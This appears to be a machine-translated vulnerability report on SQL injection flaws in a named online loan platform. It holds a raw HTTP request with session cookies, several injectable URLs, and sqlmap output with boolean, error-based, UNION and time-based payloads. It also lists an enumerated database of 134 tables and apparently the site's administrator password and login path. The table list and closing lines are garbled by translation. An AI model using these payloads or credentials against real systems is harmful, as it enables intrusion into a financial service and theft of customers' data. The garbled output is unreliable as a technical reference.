Multiple high-risk vulnerabilities of OK loan support tens of millions of funds in the background

Multiple high-risk vulnerabilities of OK loan support tens of millions of funds in the background

Injection 1:

GET /?plugins&q=areas&area_id=174 HTTP/1.1Accept-Language: zh-CN,zh;q=0.8,en;q=0.6Accept-Encoding: gzip,deflateCache-Control: max-age=0Host: www1.okisbank.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36DNT: 1Connection: closeCookie: PHPSESSID=ja1oli3mo1pdjfmpfi8qitrfv3; _jzqx=1.1426652708.1426652708.1.jzqsr=okisbank%2Ecom|jzqct=/user/login%2Ehtml.-; _jzqckmp=1; _ga=GA1.2.264870878.1426652708; _jzqa=1.1246666155320797000.1426652708.1426652708.1426735724.2; _jzqc=1; LXB_REFER=74.125.227.77; _jzqb=1.4.10.1426735724.1; Hm_lvt_0fed600eaace02a001f9ebf0a244f274=1426651774,1426654101,1426654412,1426736984; Hm_lpvt_0fed600eaace02a001f9ebf0a244f274=1426737794; dy_cookie_time=604800; 6ec6cef6a06f93620f0bd7d4d7d741d6=bab4m9R8As45YzkwT%2FjAdIivXGmOFOW8KgPRwOwCjy3WF373l%2BD1rX%2BO0gwAlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3

Injection 2: http://www1.okisbank.com/u/215'injection 3: http://www1.okisbank.com /?

User & q = code/borrow/loan & p = repay & type = Taobao & username = 189 injection is available in almost all the areas with search on the user interface, for example: http://www1.okisbank.com/?user&q=code/borrow/tender&p=now&keywords=111%27&dotime1=2015-03-19&dotime2=2015-03-19Parameter : #1 * Type: boolean-based blind Title: AND boolean-based blind-WHERE or HAVING clause Payload: http://www1.okisbank.com:80/?plugins&q=areas&area_id=174 AND 1731 = 1731 Type: error-based Title: MySQL> = 5.0 AND error-based-WHERE or HAVING clause Payload: http://www1.okisbank.com:80/?plugins&q=areas&area_id=174 AND (SELECT 5321 FROM (select count (*), CONCAT (0x7163706271, (SELECT (case when (5321 = 5321) THEN 1 ELSE 0 END), 0x7166796971, FLOOR (RAND (0) * 2) x FROM INFORMATION_SCHEMA.CHARACTER_SETS group by x) a) Type: UNION query Title: MySQL UNION query (NULL)-9 columns Payload: http://www1.okisbank.com:80/?plugins&q=areas&area_id=174 Union all select null, CONCAT (0x7163706271, 0x4f694671_56491_261, 0x7166796971), NULL, NULL # Type: AND/OR time-based blind Title: MySQL> 5.0.11 AND time-based blind Payload: http://www1.okisbank.com:80/?plugins&q=areas&area_id=174 And sleep (5) --- [12:18:42] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003 or XPweb application technology: ASP. NET, Microsoft IIS 6.0, PHP 5.2.17back-end DBMS: MySQL 5.0 [12:18:42] [INFO] fetching tables for database: 'okisbank' Database: okisbank [134 tables] + tables + | deayou_account | region | deayou_account_bank | region | deayou_account_region | region | deayou_account_log | region | | deayou_account_web | deayou_approve | items | deayou_areas | deayou_articles | deayou_articles_pages | pages | | deayou_attestations | region | deayou_borrow | deayou_borrow_activity | region | deayou_borrow_change | deayou_borrow_count | region | deayou_borrow_credit | percent | deayou_borrow_style | deayou_borrow_percent | percent | comment | deayou_comment | deayou_comments | deayou_credit | deayou_credit_class | comment | deayou_credit_rank | comment | | queue | deayou_group | queue | deayou_group_type | deayou_linkages | queue | deayou_links | deayou_links_type | queue | dimensions | dimensions | deayou_message | dimensions | deayou_modules | dimensions | deayou_rating_company | deayou_rating_contact | dimensions | deayou_rating_finance | percent | | deayou_remind | items | deayou_scrollpic | items | deayou_site | deayou_site_menu | deayou_sms_type | items | | region | deayou_system | deayou_system_auto | deayou_system_type | deayou_ucenter | region | deayou_users | region | dimensions | dimensions | deayou_users_info | deayou_users_log | deayou_users_qq | dimensions | deayou_users_type | dimensions | deayou_users_vip | deayou_users_viplog | deayou_users_visit | deayou_weixin | + ---------------------------------- +

Inject the Administrator account: OK, quick loan ok123http: // www1.okisbank.com /? Admin



Mask Region

*****58f7a9.jpg" alt="1672_ap*****